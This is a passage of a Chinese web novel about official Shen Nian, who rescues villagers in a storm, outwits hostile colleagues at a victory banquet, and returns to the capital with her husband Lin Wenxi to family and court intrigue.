“娘亲和爹爹去外面贩货不在,我怕屋子被雨吹塌便带着阿婆和弟弟跑出来,可是又看不见路不敢乱走只能躲在这里了,求沈大人带他们出去。” 那老阿婆昏昏欲倒显然已经要站不住了,小薇二话不说过去将人驼在背上,沈年也跟着将她身下一个小童抱在怀中,摸了把小姑娘的脑袋道:“我们先带着两个出去,你和弟弟就在此等着我回来找你。” 小姑娘坚强的点了下头,挡在剩下那小童身前。 沈年怀中的小童也乖乖伸出手帮她举着手里的灯,沈年向他一笑,腾出手帮小薇扶着身后阿婆穿过雨往先前路过的一间石亭去。 腿上沾了泥脚步格外的沉,将人送过去时连小薇都累的扶着柱子气喘吁吁。 沈年低头看那老阿婆的状况,所幸是在夏日只是受了些寒气并无性命之忧。 她从空间里搬出几张铁皮围在石亭四周用铁丝绑紧,一大半雨被挡在了外面。 暂且将人安置在此,小薇又托着沈年将应急灯捆在柱子高处,若还有人受困看见这灯便能到此躲避。 二人折返回去的路上便见有人往这边来了,其中还有两个青年女子,将小姑娘和幼弟抱回亭中回去是里面已挤了将近十个人。 将怀中的孩子放下,沈年问石亭中的人道:“这四周可还有别的住户?” 其中一位娘子开口道:“近处没有了,稍远处还有两户,另还有个猎户在山上住着呢,看这雨估计是没法下来。” “那两户在住在何处?我俩再去找找。” 听到沈年的的话,那娘子索性起身道:“我们带着沈大人过去吧。” 一路冒雨沈年确有些力竭,也就没有推辞,“那劳烦二位娘子了。” “这风大雨大的就沈大人一人前来管我们这些人岂能只让沈大人二人奔波,再说平日都是左右邻居这时候理应也该搭把手。” 行了约摸一炷香的工夫到了地方,这两户住的是土石砌成的屋,顶上的屋瓦翻落碎了一地,灯下恍惚见五人跪趴在地上围在一处坍塌的半墙土屋向外挖着土。 见到沈年四人,一女子满眼惊惧的扑过来握着沈年的小腿。 “我郎君他腿脚不好,他还在里面,沈大人想想法子救他出来……” 跟着前来的娘子将人扶起来劝慰道:“仪娘你先莫急,容沈大人缓口气。” 沈年点头道:“我记得修坝的时候命人在这附近埋了几个铲子以备急用,我这就去找找。” 沈年说罢拉着小薇便走到一暗处,哐哐从空间里扔出五六把铲子锤头来,小薇已是见怪不怪捡起东西就跑过去救人。 五六个人出力又挖又铲的,不出片刻就清理开泥石将人从里面抬了出来,那男子的肩被一块方石砸中人昏迷不醒,探手一试气息尚在。 围着的一圈人都长长松了口气,将人挪进另一间屋中。 屋主端上几盏水来道:“我这屋是去岁新盖的,大伙在此安心歇口气吧。” 几日都淋成落汤鸡,沈年索性将身上浸了水死沉的蓑衣取了下来,捧起杯喝了一大口,不放心道:“还有那猎户……” “那猎户身手好着呢,沈大人倒不必太替她担心。” “那便好。”沈年放下杯点头站起来。 “沈大人这就要走了?” “我俩还得去看看那几处坝牢不牢靠。” 沈年说罢几人也古道热肠要跟着她同去,一处坝被水冲的严重,这几人连同石亭中的男子都来帮忙将沙袋摞起来,推来几块半个人高的石块抵在后面。 虽雨势不减但天光渐亮起来,宋昭佛架着车马乘雨而来。 二人打了个照面,之后陆续有各属的官差前来,沈年二人得空挤在石亭中歇脚。 一身着官衣的人进石亭来,重重甩了下衣摆将雨水溅到沈年的脸上,斜眼看她道:“沈大人不光是手巧心也伶俐,赶在众人先前来,又立下这大功一件日后回京眼见着是要平步青云了。” 沈年白了一眼还未开腔,便听见她救来的那小姑娘声音清脆假装向她幼弟道:“你听这人说话多黑心,若不是沈大人早来一步,阿婆就要没命了。” 那人怒目往小姑娘面前走去,“一个乡下的粗野丫头哪来的胆子!” 沈年趁她骂人的工夫探出脚,她一绊脚重重的摔在地上爬不起来,亭中的人一个个抿着嘴偷笑。 她指着沈年的脸怒不可遏喊道:“沈年!我的官位可要比你高半阶,日后回京我倒要瞧瞧你还能不能嚣张的起来!” 宋昭佛背手过来咳了一声,那人瞪了沈年一眼艰难起身向宋昭佛一拜后准备退出去。 不成想宋昭佛悠悠向她开口道:“沈少卿救扶百姓有功,且不日堤坝就要竣工,依本官看筹备庆功宴之事不如就交由你安排,务必要办妥帖才是。” “下官领命。”那人弓着腰表情微变道。 宋昭佛抬抬下巴道:“有人来寻你。” 林闻溪怀中抱着食盒推开车窗寻沈年在何处,迎面来了个官差赶他回去,宋昭佛路过为他解了围。 他从车厢中下来没走几步便踩了两脚的泥,抬起头看路发愁往哪边好走些,见沈年从亭中探出脸,上面还沾着几滴泥点子,张望了一下看见林闻溪后撑伞朝他走过来。 林闻溪见旁人也往这边瞧抬眼示意白石去车厢里去捧出一大包油纸来。 “三娘把这些糖饼拿过去给众人垫垫肚子吧。” 沈年掀开油纸大略数了数有足有二十多张饼,一瞧着这烙饼的手艺就知道是林闻溪亲手做的,这么多也不知他又是忙活了几个时辰做的。 接过油纸饼隔着纸还热乎乎的,林闻溪看见她的手被雨水泡的白的像纸一样还起皱,不由的心揪推了推沈年的胳膊让她先将饼送过去,他演罢这人情世故好与沈年叙话。 听到众人咬着饼向他道谢,林闻溪端庄颔首朝几人一笑,而后悄悄扯了扯沈年的衣袖二人进了车厢内说话。 林闻溪掏出帕子擦了擦沈年脸上的泥道:“出了这样的波折,宋昭佛她没有向三娘降罪吧。” 沈年摆头道:“她还说要张罗什么庆功宴呢,你不好生在院中又跑一趟来做什么。” 林闻溪打开食盒捏了一块糕点塞进沈年嘴里,“你若能让我安心我又何必来抛头露面的,瞧这双手都泡成什么样了。” “救了好几个人呢。”沈年说着咬了一口,“还有小薇跟着我受累,可否把这吃的送去给她一点。” 林闻溪推开窗缝给沈年看角落里的两人道:“白石早备着呢。” “这两人感情是越发浓了……不知什么时候成亲。” 林闻溪点了下沈年的额头:“婚事讲究一个父母之命媒妁之言,这二人无高堂再世,三娘又未曾张罗媒人来说亲,俩人如何能成亲。” “那等回京之后安定下来再办吧。” 林闻溪凑身过去解开沈年湿乎乎的衣裳换上一身干净的,靠在她肩头道:“这是真要走了。” 沈年累的感官都迟钝了几分,没听出林闻溪的语气,这糕点蒸的糯糯甜甜的她吃的津津有味,还不忘低头往林闻溪嘴边递。 “你吃过没,尝一口。” 林闻溪抬头看着她腮帮子鼓鼓的模样笑了笑,又从食盒里盛了一碗粥来给她喝。 之后几日沈年忙着工程收尾和安置灾民之事,林闻溪清点院中的物件列在册子上,打点着回京事宜。 32 第32章 ◎庆功宴◎ 兰城十几年未曾有此般热闹了。 河岸边镇水神兽上绑了一段大红绸缎子,神兽侧旁新刻的石碑上的字墨崭新,林闻溪眯着眼一字字念过很快念到沈年的姓名。 白石手中举着把蒲扇遮在林闻溪的头顶,把头探到他的肩膀兴冲冲道:“我不识字,少君给我指指三娘子的名字在哪呢。” 林闻溪的脸被烈阳照的微红,抬手指着石碑第二列打头的两个字给白石瞧。 一声隆长的号声后,祭坛上鼓声震起,帷布徐徐拉开。 沈年手中握着根檀香,一抹月蓝色的官服在跟在几位红袍官身后一眼瞩目,她表情一丝不苟似乎生怕出什么差错,跟着前面几官的动作将手中的香摆进香炉中向面前的河神像拜了三拜。 几人拜完了神像,为首的宋昭佛迈着官步向前走到祭坛阶前宣诏,围在祭坛的成千百姓跪拜一地高呼皇帝圣明,福泽百姓。 而后牵来了三牲祭神,宋昭佛亲笔提了张匾这堤坝才算是昭告落成。 沈年从祭坛上阶上迈步而下,被那日雨夜救的几人围上来灌了一杯酒。 这酒格外的烈,沈年本就在祭坛上晒的额头滴汗,喝了这酒愈发觉的热,脸变得红扑扑的捂着喉咙问:“这是什么酒?” 几人呵呵笑着,“这是我们自家稻谷酿的福泉酿,沈大人要走了喝一盅我们这酒讨个福气,往后顺遂。” 沈年抬手抹了抹汗笑了笑道谢。 “谢什么,沈大人救了我家郎君还帮我等重盖好了屋子,是我们要还沈大人的恩情才是。” “唔——”那小姑娘费力挤到沈年面前转头向几人道,“没瞧见沈大人都被挤的一脑袋汗嘛,不要围着她了。” 她仰头露齿一笑牵上沈年的手往人堆外面去,她这个半大不大的姑娘倒是无人管的住,不顾几人的挽留带沈年走到一处树荫下用袖子帮她擦了擦汗。 沈年摸摸小姑娘的脸:“你又帮我解围了一次呢。” 小姑娘眼神清澈见到沈年的动作,抓着衣角为难地垂下小脸。 沈年疑惑问道:“怎么了?” 小姑娘犹豫片刻鼓足了勇气开口道:“我……我想跟着沈大人学艺,日后同沈大人一样……我在心中想了许久或许不该来叨扰沈大人,可沈年大人马上就要离开兰城我……” “我乐意教你。” 小姑娘眼眸亮晶晶,抬头欢喜道:“真的?” 沈年扶着树干微笑点头,“要跟我走的话早点回家和爹娘还有阿婆道别,收拾行李明日中午便去京。” 小姑娘弯着要下跪叩谢她,沈年忙把人起来,摆手叫她回家。 “三娘这是还要收留多少人回京,车轱辘都要压扁了。” 林闻溪从角落中迈出脚来,两步走到沈年身边摇着手中的蒲扇道。 沈年鬓间沾湿的发丝被他送来的凉风吹起,脸上的闷热散去几分,她将脸凑的更近,林闻溪加重了手上的力道。 “不大的小姑娘占不了多大地方,林郎想想法子将她带上。” 林闻溪转了转手腕拿扇面在沈年额头上轻轻敲了敲,面上不知是热的还是被沈年唤他的那声林郎羞的粉红,“三娘轻声些。” 沈年挤了挤眉,“怎了,不是你教我这么唤你的?” “仅在屋里只有你我二人在的时候才可,在这么多人眼皮底下调情……三娘如今有了官身当心被人听见,告三娘一个言行不正之名。” “你我都成亲多久了,只是夫妻间的称谓而已没那般严重吧。” 林闻溪往前探一点脸过来,眼神偷偷瞟向那几个穿官衣的娘子,悄声道:“三娘是没瞧见刚才那几个灾民围着你说话时她们脸上的神情,眼红的要滴血了,还是当心些为妙。” 沈年心中了然,那几位都是随宋昭佛而来的,与她一同隶属工部。虽先前也只是点头之交但还算的上和气,自那日雨夜过后便是擦肩而过也当没看见她这个人似的,议事的时候几人当着她面切切耳语,有意排挤。 “夜里的宴席上三娘多留心些那几人,说不准喝多了做出什么来呢。” “我知道。”沈年云淡风轻地点头,拉着林闻溪往前走了几步看擂鼓舞狮的热闹去了。 林闻溪不喜在人多的地方久留,过了正午日头愈发毒起来了,林闻溪又不怎么出汗闷着一身热气,沈年见他恹恹眯着眼只引他瞧了几眼便送他回院中歇脚。 街上人潮涌动,院里却是静谧,一众侍从都溜到外面赶热闹去了。 沈年本打算将他送回来便走的,见院中无人陪着林闻溪进屋等人*回来。 沈年从打了一桶清凉的井水,二人捧了一抔水净了脸,林闻溪眉目舒展人有了精神,去里间更衣。 官服形制繁复堆在身上不透气,沈年也跟着进去将衣裳褪下只着了件里面的薄纱坐下饮茶。 林闻溪在塌边透过纱帘见沈年进来,暗自思量了片刻,故意将身前的单衣襟口敞了敞,清了清嗓子开口唤沈年进来。 “这衣裳不好穿,三娘过来搭把手。” “嗯。” 沈年应声进去眼神避了避,她不知林闻溪这坐姿是他刻意摆出来的,腿上一寸肌肤半遮半掩的露在外面,勾着人去瞧。 她面红微合着眼俯身到他身前摸索衣带,林闻溪握上她的手指静静抬脸看她,缓缓转了转眼珠在无言中问她意下如何。 见沈年垂眸一丝犹豫,他攀上她的脸轻声道:“今夜还不知要什么时辰才回来,往后又十多日在路上……” 日光映入帘中晃的沈年心神一乱,不去顾及还在白日里,沈年荒唐点了头亲了上去,林闻溪揽着她的肩躺下。 林闻溪今日在人群里望着沈年站在祭坛上敬香仿若真如天上的神使,受众人瞻仰。 此刻却独属于他一人了。 或许是有日光的缘故,林闻溪盼了许久得偿所愿这回却是格外的羞赧,外面院里的侍从陆续归来走动,他嘴中叼着帕子堵着声音不敢出。 喘息过后披上薄衾伏在沈年肩上缓神。 沈年摸摸他的背:“我得走了。” 林闻溪此刻格外柔和似水:“三娘去吧,我等会下榻自己收拾。” 沈年推门出去他独自坐着晃神,不想白石蒙头撞进来见他慌乱涨红的脸色,隐约猜到刚才屋内发生过什么。 白石后退几步道:“少君,我等会再进来伺候。” “不必了,”林闻溪尴尬咳了一声,破罐子破摔不再遮掩,“去帮我先煮碗汤来吧。” 按着书中的设定,这避孕汤是真有用的,喝一碗十成十是不会有孕的了。 白石端着汤进门来,林闻溪已将身子擦净衣裳穿的齐整,下了榻安坐。 他捧着汤碗喝下,脸面发热不知说什么好,借口拿起册子去院中清点去京路途的用物。 刘宅的府邸如今被兰城的府衙收没,那官将前两日朝会上提议将宴席设在刘宅之中。 宋昭佛一向爱赏园作画,这刘宅的廊院又是出了名的好景致,随行一众官员也附和着想进园中观赏,因此宋昭佛也就允了这事。 入夜刘宅便响起丝竹管乐之声,明灯盛宴,轻歌曼舞。 几官之间推杯换盏,独沈年一日形单影只伏在桌案上静静地抿着酒,淡然听着席间的曲声。 忽然那日在亭中向她找茬那官,将酒盏噔的一声摔在桌案上,满脸醉意抬手指着沈年,不怀好意说道:“沈大人听的这般入迷,不如今夜便将这小乐师送与沈大人如何?” 小乐师闻言曲声戛然而止,无助打量着沈年瑟瑟发抖。 瞧着小乐师的反应,对面的几官互相揽着肩放声笑做一团。 “你怕什么,咱们沈大人可是京中数一数二的风流人物,会好生怜惜你的……” 几人踉踉跄跄站起来拉扯着小乐师的衣袖往沈年这边推过来。 沈年本不想与这几个醉鬼计较,这下子是忍无可忍,起身脸上挂着笑走去挤在几官面前,将那小乐师挡在身后。 几人上来推搡,拉扯之中沈年掏出袖中的小机关在她们臀上刺了一下,这小针被她磨的极细扎下去不见流血只能感觉到刺痛。 听见她们嘶声喊疼,沈年眼疾手快将小机关扔进空间里。 她捂着嘴角假装惊讶问道:“几位大人这是怎么了。” 那人恶狠狠抓过她的胳膊,“装什么装,你手中藏了什么,是不是针!” 沈年将两手摊开十分无辜得大声道:“哪有什么针?上官喝醉酒了也不能胡言。” “不是你还能是谁?”对方将手摸到她身上来喊着要搜身。 宋昭佛听到她们的争吵声,黑着脸从廊中走来沉声训斥道:“亏你们一个个还是朝廷命官,闹成这般成何体统!” 几人恢复了些神志,拱手弯腰向宋昭佛告状,“是沈少卿使暗器刺伤我等在先。” 沈年蔑笑了一声,展开胳膊坦荡道:“上官说话要讲证据,你说的暗器若我身上没有,可要向我赔礼道歉。” 宋昭佛心烦指了指身边的护卫去翻沈年的身,自然是一无所获。 沈年勾着唇笑笑,“如何呢?” 那人气的嘴唇发抖,可在宋昭佛的威压之下还是不得不低头向沈年赔罪,而后愤愤一瘸一拐的坐到席位上又弹起来叫疼。 沈年这一招使得秒,第二日启程几人马骑不得,坐到车里也颠的刺痛,时时折磨也没功夫再寻沈年的茬了。 33 第33章 ◎兄长沈季◎ 行至京中时已是七月中,沈府门前的两根木柱换上了新漆,熠熠发亮,一众侍从面带喜色扭着脸张望着长街上徐徐行来的车马。 望清车前坐着的人,一侍从踱着小步往院门里面唤一声通传。 而后院门里缓步行出一端方温润的男子,手中一左一右牵着两个稚童,抬眸将视线落在沈年身上。 沈年还未站定,两童便从门前石阶上欢喜扑到她腿边,小脚蹦着握着她的手口中糯糯地唤着她小姑姑。 之前未曾来的及见过,沈年恍了一刻意识到眼前的男子许是她的兄长沈季,她低头浅笑摸了摸两位小侄的脑袋,又抬脸向阶上的沈季唤了声阿兄。 沈季闻声目光下移,低头垂了口气后下阶来仔细看了下她的脸后,还是不忍关心道:“妹妹消瘦许多,这一去半年定是受了不少苦。” 书里对沈府的长子沈季并未提过几个字,只交代过他依父母之命与一门当户对的府第联了姻亲,算起来出阁已有七八年了。 沈季应是长她五岁,至于她这位“阿兄”是何脾气秉性就不得而知了,两人仅在回京的书信中来往过几句。 沈年不敢多言语,只是抱起腿边的孩子在怀中逗话。 林闻溪慢了一步从车厢中下来,先直直瞧见沈年抱着幼童笑得眼睛弯成月牙,他心中当的一声,还未容他多想什么便又瞧见了旁边的沈季。 他入沈府的时日只有半年,沈季只回来过那么一两回,两人没讲过几句话,不过他感觉的出这沈季不似沈父那般刻薄。 林闻溪缓步走到沈年身边,体面的挂起笑脸颔首拜见。 沈季却只是勉强点了点头,脸上没了刚才对着沈年的温和笑意。 “一路舟车劳顿,妹妹别在这烈日下站着了,进去府中说话吧。” 沈年余光瞥见林闻溪的神情,想到什么将怀中的小侄放在地上,趁沈季背身过去的间隙,碰了碰林闻溪的手说:“一路在里头闷的脸色都发白了,快进去喝杯茶缓口气。” 林闻溪莫名受了沈季的冷眼,听到沈年的话心中一暖应了一声。 沈季牵着两童走在前面听到二人说话,假做不经意回头瞧了一眼。 进去一间厅堂,林闻溪跟着沈年坐在一侧,沈季独坐对面吩咐了一声,侍从躬身缓步进来奉上茶盏。 “妹妹封官归来,母亲有意将这府中里外修缮一番,”沈季说着停顿一下看了眼林闻溪,“本不该阿兄管这事,只是母亲公务繁忙,父亲他又不在府中,只有个侧君又拿不了什么主意,只好揽在自己身上了。” 沈年低头喝茶未看到沈季的目光,闻言抬脸客气道:“怪不得我瞧着府中与从前不一样了,阿兄打理这些事辛苦。” 沈季欣慰莞尔向她笑笑:“见父亲信中所写,说妹妹比从前进益许多,阿兄先前还不信呢。” 沈季几句话中提了多次沈父,林闻溪有些明白他刚才为何冷眼相待了,人家父子同心,因他的事让沈父离府修行,沈季如何能不怨呢,而且想来沈父肯定免不了在信中讲他的坏话。 想到此林闻溪开口接话道:“三娘和我如今回来,便可替母亲和兄长分忧了。” 那日沈季在京中惊闻母亲要送父亲离府修行之事心焦如焚,度日如年等到沈修撰一回京便来问缘由,虽父亲做下恶事但到底还是不由的偏袒他,写了信去问询,收到父亲信中所写林氏种种逾矩之行便觉得是林氏有错在先,更心疼父亲一人孤身在外了。 沈季坐在两人对面,分明瞧见林闻溪的身形比先前所见单薄许多,与沈年不同,他一瞧就是病了一场才如此的。 沈季也曾失过一个孩子,其中的苦楚他切身尝过。 先前未见林闻溪他未想到这,现在心中复杂想了想还是开口关心了一句道:“妹夫的身子可好好调养过了没?” 林闻溪对沈季的话又是一怔,愣一下答道:“有三娘照料,已经不碍什么事了。” 沈季闻言想起进门时听到的沈年对林闻溪的关怀之言,看向林闻溪的眼中多了一丝羡慕,捧起茶盏挡住自己苦涩的笑容。 茶水还未入口,便听见外面人来唤那边府中有事,请他回去。 沈季锁眉短叹一口气将茶盏放下,起身向沈年道:“那阿兄就先回去了。” 沈年瞧见他的表情,跟着把他送到门口,“阿兄若有需我帮忙的,便差人来府中唤我。” 沈季他原本还有些埋怨他这个妹妹没心肝,毕竟父亲那般的疼她,她却是一点不心软逼着母亲将父亲送走,现在被她这一句关心弄得眼眶一热。 沈年自幼被父亲宠的顽劣不堪,自小到大不知惹出多少烂摊子,他这个做兄长的由不得要管教几句,一来二去将人惹恼了,见了他就往别处躲,自他出阁后更是与沈年许久才见上一面,愈发生疏起来。 不想去了一趟兰城回来说起话反倒是入情入理。 沈季展笑解释道:“是那边府里的一些杂事,不必为阿兄担心,回去好好歇息一会吧。” 沈年点头帮着把两小童抱入马车,沈季从木窗里探出头来看她,他面容如同山涧里潺潺的清泉一般,清冽柔和。 想来这世上没谁会厌这张脸。 目送着马车拐过街角,沈年回身一只脚刚迈上阶,就被一不知从何处冒出的男子扑过来,浑若无骨的往她身上靠。 沈年将身子后仰用了力气推开男子的肩,男子披散着头发,被她推的倒在地上,裸露在外的手腕上一圈暗红色的勒痕,眼中淌着泪抓着她的腿哭喊道:“你这个负心女子,招惹了我东窗事发自个躲到外面避风头,留我一人在此受难。” 他哭的分外大声,几句话就引来数人围观。 “还不快将人弄走!”沈府里的管家急走两步出来对着大门口的两个护院喊道。 两人上来拉男子的胳膊,男子圈住沈年的腿不放,沈年俯身下去掰他的手,“你从哪来的,认错人了吧。” 男子听见她的话长长嚎了一声,“沈三娘先前在庄子里日日来寻我快活,不过半年就将我忘了不成,沈三娘子如今升官得意忘却旧人,我却要日日受刑……我不如今日就一头撞死在你们沈家的门柱上,叫你这负心女子往后日日都不得安生!” 他不由分说的往门口朱漆的柱子上迎头要撞,被沈年扯着衣裳拽了回来。 这男子就是书里和沈年厮混的那鳏夫,沈年瞧着男子后颈露出来的伤痕,一时间不知该如何应对。 沈府里的护院将人压住看向沈年,沈年吩咐先将人带回院中再做打算。 “进了这深宅大院,这男人是没命能出来了,说不定等夜深麻袋一装扔到外面就埋了呢。” “是啊……” 沈府门前聚着的人纷纷啧舌议论。 这烈阳底下哪正巧如此多的人在街上,沈年低头瞧着男子哭喊到脖子上青筋泛起的模样,这种不守夫道的男子应当是被看管的很严,怎能挣脱跑出来还正好在她回京这日寻上门来。 想来是人有意指使,沈年不想自己刚一回京就给有人给她使绊子。 她当听不见众人的指摘,将人带进府中,重重合上沈府大门。 34 第34章 ◎入朝上值◎ 那男子进了院里喊的更撕心裂肺,林闻溪听到动静从厅堂中出来看,从凌乱的散发中瞧见那男子下巴边的一点红痣便知道是何人在闹。 林闻溪的眉毛挤成倒八字,向身侧的侍从道:“要任他喊到什么时候,还不去将他的嘴堵上。” 侍从抽出手中的绢子走过去往男子嘴里塞,却被他发疯咬一口,身后的护院索性一个手刀劈在他后颈上,男子垂头昏了过去。 “三娘明日还要去工部当值,暂且将这人在府中放一夜,明日我打发出去就是。” 沈年想到这鳏夫正是书中林闻溪黑化的引子,当初他恨到给原书的沈年下药,如何能不记恨眼前这个鳏夫呢。 如今回到沈府她不得不多要提防着些,与原书剧情有牵连之处还是不要让林闻溪涉足进来的好。 “看你这脸煞白,”沈年走到林闻溪面前挡住那男子,摸了摸他的脸蹙眉道,“跟我去后院中歇息片刻吧。” 当着一府里里外外侍从的面被沈年摸了脸,林闻溪一时脸红低头,再说话时那男子已不知被带去了什么地方,而后被沈年催着去了后院屋中。 屋中倒是与从前别无二致,里面摆着一绢面七轮扇,扇面上绣着清新的花鸟,小侍坐在矮凳上转着木柄,满屋里清凉。 林闻溪唤小侍下去,又不死心问起那男子的事情。 沈年向林闻溪说起心中的怀疑,又指着院中搬进来二人的几只木箱道:“回来这些东西还需安顿,而且你也听见阿兄所说的了,这府中日后有你忙的呢,那男子的事是有人存心所为,留着他才能寻到是何人在背后作乱,此事我自会料理你不必管。” 林闻溪听话点头忧心道:“回了京宋昭佛的手伸不到工部,三娘那日宴席上招惹了那几个官,明日去工部上值她们定要拿这事来做文章了。” 沈年捏着眉心思忖,她确实不得不防。 二人坐了片刻,外面侍从来传沈修撰刚回了府唤沈年过去。 沈年叩门进去时沈修撰正由两个小侍服侍着更衣,她还未开口行礼拜见便听沈修撰出言问道:“你往府中压了个男子进来?” “是先前庄子上那个他闹个不休,女儿只好先带进府看管。” 沈修撰压着嘴角抬首盯着她瞧,“不都是你做下的好事。” 虽口中还是责怪之词,但语气听来并未有多重。 侍从端着沈修撰褪下的衣物无声退出去,经过沈年身边时她闻到那衣物上飘着一股酒气,怪不得瞧见沈修撰面色格外的红润。 沈年问道:“母亲向来只喜品茶,怎么今日饮起酒来了?” “还不是为着你的事,京中的官可没那么好做的,自得卖着我这张脸去托人照拂你一二。” 沈修撰半生都在官场经营,两朝老臣根基深厚,有她在前为自己铺路,沈年一想面上不由得一喜。 “你还能笑的出,那个男人一闹知不知道外面风言风语已传出多少去了。”沈修撰忽又严肃起来呵斥道。 沈年闻言敛起笑容,“是有人暗地里推波助澜,这桩事先前已在京中传开,现在左不过是再被议论几句罢了,又不会伤女儿一根毫毛。” “你面皮倒是厚,“沈修撰瞪了一眼她道,”如今已有人盯上了你,你莫成点小事就忘乎所以,明日去工部上值仔细着些。” “是。”沈年被她盯的出汗,抬袖抹了抹额头。 沈修撰抬起一边眉头瞧着她,脸上说不清是忧心还是嫌弃,摇摇头道:“在我面前如此鼠胆,日后去了御前陛下面前呢?午后莫回院去了,留在这请人来教你些朝上的规矩。” 林闻溪一下午将二人的东西收拾妥当,又给沈年带回来的三人安置了屋子住下,入夜仍不见沈年回来,在屋子里一人坐立不安盯着门口出神。 白石瞧着一桌未动的饭菜在旁相劝:“那边已传了话三娘子不回来用饭,少君莫再等了。” “撤了吧。”林闻溪心不在焉摆手道,进了里屋坐在铜镜前,白石在身后卸下他的发冠,捧来凝神香放在旁边。 林闻溪注意到他的贴心,开口向他吐露:“上回因那男子去母亲那院差点被动了家法,这次去了这么久也没消息,我如何能不焦心。” “三娘子从前少不更事难免犯错,如今已改了,况且明日还去上值,沈大人定不会动手责打的,许是一时被什么事绊住了。” 林闻溪听他一言心中安定不少,翻起案上的名册来看,沈府人丁不旺,现在府里算个主子的只有沈修撰和一个不大出来走动的侧君,他和沈年夫妻二人而已。 各处的侍从护院却是不少,数了数有近七八十来个,沈父不在后院无人管着这些人,一团子乱麻。 瞧着白石是从外面跟来的,得林闻溪的的信任能近身服侍,一来就排挤他,若不是林闻溪晓得这府中人心,不放心亲自去看,白石就该被安排到一从前被水浸了的屋子里去住了。 林闻溪一想到这桩事,眼神便狠厉起来,从前这些人没少仗势欺他,如今他回来这新仇旧恨……定要好好惩治一番。 正想着沈年悄么声的从门口迈步进来,白石先瞧见了人退出去合上门。 沈年半跪在垫子上从后背搂着林闻溪的腰,倚在他肩上闭目舒了一口气,林闻溪在镜中瞧见她皱成一团的脸,心疼覆上她的手背。 这一程回京人马多,官驿的房间不够。林闻溪同白石及另两个小侍在一屋同住,十日多未有与沈年独处的时候,夜里日日不得安眠。 现在沈年忽然进来抱他,他却一时有丝近乡情怯,盯着镜中二人相依的虚影心中怦怦跳。 他小声问:“三娘怎去了这么久,可是母亲又教训你了。” 沈年疲累的向他诉苦,“不光是母亲,她还另请来位致仕的礼官来教我规矩,一下午站的我腿都快折了。” 林闻溪偏头在她额上亲了亲安慰:“母亲只是面上严一些,心里还是很看重三娘的,想来也只是担心明日三娘出什么差错才如此。” 沈年对他的亲近习以为常,点头在他脖颈上蹭了蹭回应,林闻溪低头不敢去看镜中自己的表情,再任沈年抱着他便又要生出心思了。 他转身扶起沈年的胳膊站起来,“三娘明日有正经事,今夜早些安歇吧。” 沈年上塌不多时就睡着,天微亮便被林闻溪唤起来,迷迷糊糊端着他递过来的茶盏咽了一口,被茶水冰的瞬间清醒。 她难受的伸手捂着喉咙问道:“这是什么茶,又冰又苦的。” 林闻溪摇头拿着湿帕子盖到她脸上擦拭:“不知道,母亲刚着人送来给三娘醒神的。” “我只是从六品,又不用去大殿中面圣上朝,去工部虞部司记名上值便可,何须这么早去,母亲真是怪!” “三娘少说几句,母亲的人在外面等着你出去呢。” 沈年转头透过窗纸一看门外直挺挺站着几人,闭了嘴不再说话,随林闻溪去外面穿衣。 外屋里几个侍从端着沈年的官服过来服侍,被林闻溪出声屏退,几人面色微变互相看了几眼无奈退出门去,林闻溪心下默默留意手中细致的帮沈年系好衣裳。 这里比不得兰城,府里的小侍个个养的细嫩,能言会道。沈年身边又只他一人,这些小侍保不准生出什么花花肠子来,沈府几道门进进出出的,藏在哪处勾引了沈年或许他都不知道。 虽说沈年眼下心是在他身上,但若有人胆子大自个主动献身贴上来,传出去闲言碎语就向昨日那个鳏夫一样黏在身上甩不脱了。 林闻溪自觉他现在防的紧一点不为过。 将沈年送到屋外,林闻溪有意在候着的侍从面前捋了捋她耳鬓边的发丝,“三娘早些回府。” 沈年随着沈修撰的人一路出了府与她的马车同行,临近官署改为步行,沈年像个尾巴一样跟在沈修撰身后,二人来的早行在她们前头的没几个,沈修撰也有意将步子放的慢,等后面的官员并行上来,大多数斜眼上下打量一眼沈年,零星几个开口向沈修撰搭腔。 沈修撰板着脸向各官员引荐,沈年对谁都是一副人畜无害的笑脸,几官恭维她夸赞几句。 行了一段路沈修撰拐去内殿中上朝,沈年去了司内报道。 她在殿前门口叩了下门,并未有人回应,推门进去里面左右对称摆着八张桌案,上面各堆着几大摞书册图画,不过空荡荡的尚无人在。 沈年选了一处坐下,支起脑袋闭目养神,等着司中的官员前来。 没过半个时辰,殿门吱呀一声被推开,日出的霞光从外面照进来,她一半脸被光映的发亮。 晃眼看不清来人,沈年摆出脸色准备应对,站起来看时发现并不是兰城共事那几人,对视时两人都是一怔。 短暂安静过后,对方打了个呵欠散漫向她打了声招呼:“来了。” 沈年点头后,对方大步流星迈过来坐在她前面的桌案前,后背倚在她案边,从怀中掏出一袋果干塞进嘴里啃。 沈年向前探过身子询问:“不知大人贵姓?” 对方将向后转过头来上下扫了她一眼,不悦道:“沈三娘子出了名头,当真成贵人了,连我是谁都忘了。” 沈年慌张敲了下脑门胡编了个说辞道:“我先前被歹人所害,撞了下头,有些人事记不大清,大人莫怪。” “我说怪不得沈三娘子陡然间脱胎换骨,有了那般大的本事,原来是换了副脑子,”对方脸上由阴转晴,捏着下巴道,“不过你怎能连我也忘了,你我幼时常在一处玩呢。” 见沈年还是一副茫然无知的模样,她无奈开口念出自己的名字——徐珞宁。 姓徐沈年想到沈父正是这个姓,这人许是沈父那边的亲眷。 二人刚说了几句,殿门又被推开,这次进来的正是那几人。 沈年回程路上向宋昭佛打听过为首的那人名唤周代云,前些年沈修撰曾经参过她一本,当时被她被贬了职,不然也不至于年逾三十还是个六品小官。 这两年来赵党渐有压过风宪司之势,工部尚书正是赵党元老。这周代云的与之走的近,正是有这个门路才从贬地调回京中的。 而且周代云此去兰城本就是为了日后升官攒功绩去的,但风头却全被沈年抢去,白走了一趟。 她拿沈修撰没什么法子,现在全部记恨到沈年身上。 周代云一瞧见沈年的脸,就双手抱胸嬉笑道:“沈少卿连个举人都未考中,入朝为官本就是陛下恩赏,一回来就闹一出笑话,跟那种男人牵扯不清真是污了陛下的御旨。” 她身边的两人跟着讥讽:“急吼吼得将人压进府中,一整晚都没音讯,也不见把人放出来,该不会是与那鳏夫又旧情重燃了吧。” 几人越说越起劲,笑声在殿中回荡。 沈年听的耳朵生疼,只是沈修撰昨日几番告诫她行事要谨小慎微,在这风口浪尖上若再惹出什么事,定要被人抓着由头不放大做文章了。 而且沈年早预料到周代云要拿这事给她难堪,此刻只当作没听到她的话,若无其事的向徐珞宁讨袋子里的果干吃。 徐珞宁本也是乐馆舞坊的常客,对沈年这事并不如何介意,加上二人又是刀割不断地近亲,此刻没有不给沈年面子的道理。 